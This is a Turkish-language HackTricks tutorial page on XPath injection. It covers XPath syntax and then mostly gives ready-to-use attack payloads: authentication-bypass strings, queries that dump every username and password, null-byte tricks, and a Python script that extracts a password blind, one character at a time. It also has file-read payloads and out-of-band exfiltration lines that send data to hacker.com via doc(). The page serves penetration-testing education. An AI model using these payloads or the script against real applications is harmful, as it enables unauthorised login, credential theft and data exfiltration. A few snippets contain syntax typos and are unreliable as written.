XPATH injection

HackTricks'i Destekleyin

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!

Temel Söz Dizimi

XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine dayalı olarak XPath (XML Path Language) sorguları oluşturan uygulamalardan yararlanmak için kullanılır.

Tanımlanan Düğümler

İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:

  • nodename: "nodename" adındaki tüm düğümler seçilir.

  • /: Kök düğümden seçim yapılır.

  • //: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.

  • .: Mevcut düğüm seçilir.

  • ..: Mevcut düğümün ebeveyni seçilir.

  • @: Nitelikler seçilir.

XPath Örnekleri

Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:

  • bookstore: "bookstore" adındaki tüm düğümler seçilir.

  • /bookstore: Kök öğesi bookstore seçilir. Bir öğeye giden mutlak yolun, bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.

  • bookstore/book: bookstore'un çocukları olan tüm book öğeleri seçilir.

  • //book: Belgedeki tüm book öğeleri seçilir, konumlarından bağımsız olarak.

  • bookstore//book: bookstore öğesinin altındaki tüm book öğeleri seçilir, bookstore öğesi altındaki konumlarından bağımsız olarak.

  • //@lang: lang adındaki tüm nitelikler seçilir.

Koşulların Kullanımı

Seçimleri daraltmak için koşullar kullanılır:

  • /bookstore/book[1]: bookstore öğesinin ilk book öğesi çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.

  • /bookstore/book[last()]: bookstore öğesinin son book öğesi çocuğu seçilir.

  • /bookstore/book[last()-1]: bookstore öğesinin sondan bir önceki book öğesi çocuğu seçilir.

  • /bookstore/book[position()<3]: bookstore öğesinin ilk iki book öğesi çocuğu seçilir.

  • //title[@lang]: lang niteliğine sahip tüm title öğeleri seçilir.

  • //title[@lang='en']: "lang" niteliği değeri "en" olan tüm title öğeleri seçilir.

  • /bookstore/book[price>35.00]: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book öğeleri seçilir.

  • /bookstore/book[price>35.00]/title: Fiyatı 35.00'dan büyük olan bookstore'daki book öğelerinin tüm title öğeleri seçilir.

Bilinmeyen Düğümlerin İşlenmesi

Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:

  • *: Herhangi bir öğe düğümünü eşleştirir.

  • @*: Herhangi bir nitelik düğümünü eşleştirir.

  • node(): Herhangi bir türdeki düğümü eşleştirir.

Diğer örnekler şunlardır:

  • /bookstore/*: bookstore öğesinin tüm çocuk öğe düğümlerini seçer.

  • //*: Belgedeki tüm öğeleri seçer.

  • //title[@*]: En az bir niteliği olan tüm title öğelerini seçer.

Örnek

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Bilgilere Erişim Sağlama

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Şemayı Tanımlama ve Çalma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Kimlik Doğrulama Atlatma

Sorguların Örneği:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kullanıcı ve şifrede OR atlatma (her ikisinde de aynı değer)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Null enjeksiyonunu istismar etme

Username: ' or 1]%00

Kullanıcı Adında veya Şifrede Çift OR (sadece 1 savunmasız alan ile geçerlidir)

ÖNEMLİ: "ve" ilk yapılan işlemdir.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String extraction

Çıktı, dizeleri içerir ve kullanıcı değerleri aramak için manipüle edebilir:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Bir değerin uzunluğunu al ve karşılaştırmalarla çıkar:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Örneği

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Dosyayı Oku

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Sömürüsü

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Otomatik araç

Referanslar

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün en iyi hackerlarla işbirliği yapmak için Discord 'a katılın!

HackTricks'i Destekleyin

Last updated